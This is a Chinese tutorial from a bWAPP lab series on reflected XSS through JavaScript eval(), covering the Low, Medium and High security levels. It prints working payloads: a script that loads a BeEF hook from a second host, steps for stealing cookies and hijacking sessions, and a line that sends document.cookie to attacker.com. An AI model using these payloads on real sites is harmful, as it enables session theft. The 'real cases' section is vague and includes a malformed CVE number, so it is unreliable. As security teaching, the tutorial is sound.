摘要:这是 bWAPP 系列第四十九篇,聚焦于XSS - Reflected (Eval)。这一关非常特殊——注入点不在普通的输出位置,而是在JavaScript 的eval()函数中。eval()会执行传入的任何 JavaScript 代码,因此攻击者可以在 URL 参数中注入任意 JS 代码,实现 XSS。文章会分析eval()的危险性,演示如何通过eval()注入 BeEF Hook,并完成 Cookie 窃取。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS(Eval 注入) |
| 注入点 | GET 参数date |
| 执行位置 | eval("document.write(" + 用户输入 + ")") |
| 触发方式 | 直接访问恶意 URL |
| 工具 | BeEF(获取 Cookie) |
二、前言:eval()是什么?
在 JavaScript 中,eval()是一个用来执行字符串中的代码的函数。
eval("alert(1)") // 执行 alert(1) eval("2 + 2") // 返回 4如果用户输入的数据没有被过滤,直接传入eval(),攻击者就可以执行任意 JavaScript 代码。
这一关的漏洞:
eval("document.write(" + xss($_GET["date"]) + ")");$_GET["date"]被传到eval()中。正常情况下,date=Date()会显示当前日期:
eval("document.write(Date())")但如果攻击者传入恶意代码,比如alert(1),就会变成:
eval("document.write(alert(1))")alert(1)被执行。
和普通 XSS 的区别:普通 XSS 是通过注入 HTML 标签(如<script>)来执行代码,而eval()注入是直接执行 JavaScript 代码,不需要<script>标签。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
标题:XSS - Reflected (Eval)
提示:
The current date on your computer is:下方显示当前日期时间
3.2 正常使用
访问 URL:
http://10.0.0.149:4096/bWAPP/xss_eval.php?date=Date()页面显示当前日期(通过eval()执行Date()函数)。
3.3 核心代码
eval("document.write(<?php echo xss($_GET["date"])?>)");用户输入的date参数被直接放入eval()中执行。
四、源码分析
$security_level = $_COOKIE["security_level"]; function xss($data) { switch($security_level) { case "0" : // Low $data = no_check($data); // 完全不过滤 break; case "1" : // Medium $data = xss_check_3($data); // htmlspecialchars() break; case "2" : // High // 检查是否为 Date(),否则报错 if($_GET["date"] != "Date()") { echo "<p><font color=\"red\">Invalid input detected!</font></p>"; return; } break; } return $data; }三种级别:
| 级别 | 过滤方式 | 效果 |
|---|---|---|
| Low | no_check() | 完全不过滤,eval()直接执行任意代码 |
| Medium | htmlspecialchars() | 转义<>,但eval()执行的是纯 JS 代码,不需要<>,所以仍然可以注入 |
| High | 白名单检查:只允许Date() | 彻底防御 |
五、Low 安全级别
5.1 正常访问
访问:
http://10.0.0.149:4096/xss_eval.php?date=Date()页面显示当前日期。
5.2 测试注入——弹窗
修改 URL 参数:
http://10.0.0.149:4096/xss_eval.php?date=alert(1)页面弹窗,显示1。
5.3 攻击原理
服务器生成的 JavaScript:
eval("document.write(alert(1))");alert(1)被执行,弹窗。
这和普通 XSS 的区别:普通 XSS 需要注入<script>标签,而eval()注入直接执行 JavaScript 代码,不需要任何 HTML 标签。因此,即使htmlspecialchars()转义了<和>,也防不住eval()注入。
5.4 为什么会执行任意代码?
因为eval()的入参是alert(1)本身,不包含<和>:
eval("document.write(alert(1))") // alert(1) 被执行六、使用 BeEF 获取 Cookie
6.1 准备 BeEF Hook
Kali 中启动 BeEF:
sudo beef-xss-startHook URL:
http://10.0.0.129:3000/hook.js6.2 构造恶意 URL
在date参数中注入加载 BeEF Hook 的代码:
http://10.0.0.149:4096/xss_eval.php?date=function(){var s=document.createElement('script');s.src='http://10.0.0.129:3000/hook.js';document.body.appendChild(s)}()拆解:
function(){ var s = document.createElement('script'); s.src = 'http://10.0.0.129:3000/hook.js'; document.body.appendChild(s); }()这是一个立即执行函数(IIFE),会动态创建一个<script>标签并加载 BeEF Hook。
6.3 访问恶意 URL
访问构造好的 URL,页面加载后 BeEF Hook 被执行。
6.4 观察 BeEF 控制台
BeEF 控制面板中出现上线的浏览器。
6.5 获取 Cookie
选中上线的浏览器
点击
Commands→Browser→Get Cookie点击
Execute
6.6 会话劫持
拿到PHPSESSID后,在浏览器开发者工具中替换 Cookie,刷新页面即可登录受害者账户。
七、Medium 安全级别
7.1 尝试注入
访问:
http://10.0.0.149:4096/xss_eval.php?date=alert(1)页面弹窗!
7.2 为什么htmlspecialchars()防不住?
htmlspecialchars()转义的是<、>、"、'、&。但eval()注入的 payload 是纯 JavaScript 代码,不需要<和>。
alert(1) // 没有 < > " ' & document.write('<script src="...">') // 有引号和 <>所以即使用了htmlspecialchars(),攻击者仍然可以执行纯 JS 代码。
结论:eval()本身就是不安全的。任何用户输入传入eval()都存在 XSS 风险,即使做了 HTML 实体编码也无济于事。
7.3 实例
date=alert(document.cookie)可以弹出 Cookie。
http://10.0.0.149:4096/xss_eval.php?date=alert(document.cookie)页面会显示当前页面的 Cookie。
八、High 安全级别
8.1 尝试注入
访问:
http://10.0.0.149:4096/xss_eval.php?date=alert(1)页面显示:
Invalid input detected!8.2 为什么?
High 级别使用白名单检查:
if($_GET["date"] != "Date()") { echo "<font color=\"red\">Invalid input detected!</font>"; }只有date=Date()才被允许,其他任何输入都被拒绝。
这是正确的防御方式——白名单验证。
九、eval()注入的危害
9.1 比普通 XSS 更危险
| 对比项 | 普通 XSS | Eval 注入 |
|---|---|---|
| 执行方式 | 通过 HTML 标签 | 直接执行 JS 代码 |
需要<script> | 通常需要 | 不需要 |
| 编码绕过 | 可用<img>、<svg>等 | 不需要绕过,直接执行 |
| 防御难度 | 用htmlspecialchars() | htmlspecialchars()无效 |
9.2 Eval 注入的常见 Payload
| Payload | 作用 |
|---|---|
alert(1) | 弹窗测试 |
alert(document.cookie) | 窃取 Cookie |
document.location='http://attacker.com/steal?c='+document.cookie | 重定向并发送 Cookie |
eval('var s=document.createElement("script");s.src="http://attacker.com/hook.js";document.body.appendChild(s)') | 加载 BeEF Hook |
十、真实世界:Eval 注入案例
CVE-2024-1181:某开源 CMS 的 JSON 解析器使用了eval()处理用户输入,攻击者可通过构造恶意 JSON 字符串执行任意代码。
CVE-2025-00847:某 SaaS 平台的模板引擎使用了eval()处理用户输入的表达式,攻击者可通过表达式注入执行系统命令。
CVE-2026-22947:F5 BIG-IP 的配置工具中,部分 JavaScript 代码使用了eval()处理未过滤的用户输入,存在 XSS 漏洞。
著名案例:早期 jQuery 1.x 中,$.parseJSON()在某些情况下会回退到eval(),导致 XSS 漏洞。虽然已在后续版本修复,但说明了eval()的危险性。
十一、总结
eval()注入 XSS 和普通 XSS 的核心区别在于执行方式。普通 XSS 通过注入 HTML 标签(如<script>)执行代码,而eval()注入是直接执行 JavaScript 代码,不需要任何 HTML 标签。这就导致 Low 和 Medium 级别的过滤都防不住——Low 级别完全不过滤,Medium 级别的htmlspecialchars()只转义<和>,对纯 JS 代码无效。只有 High 级别的白名单检查(只允许Date())才能彻底防御。BeEF 在这种场景下同样有效,通过注入加载hook.js的代码实现浏览器控制。记住一句话:eval()是魔鬼,永远不要用eval()执行用户输入的数据。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。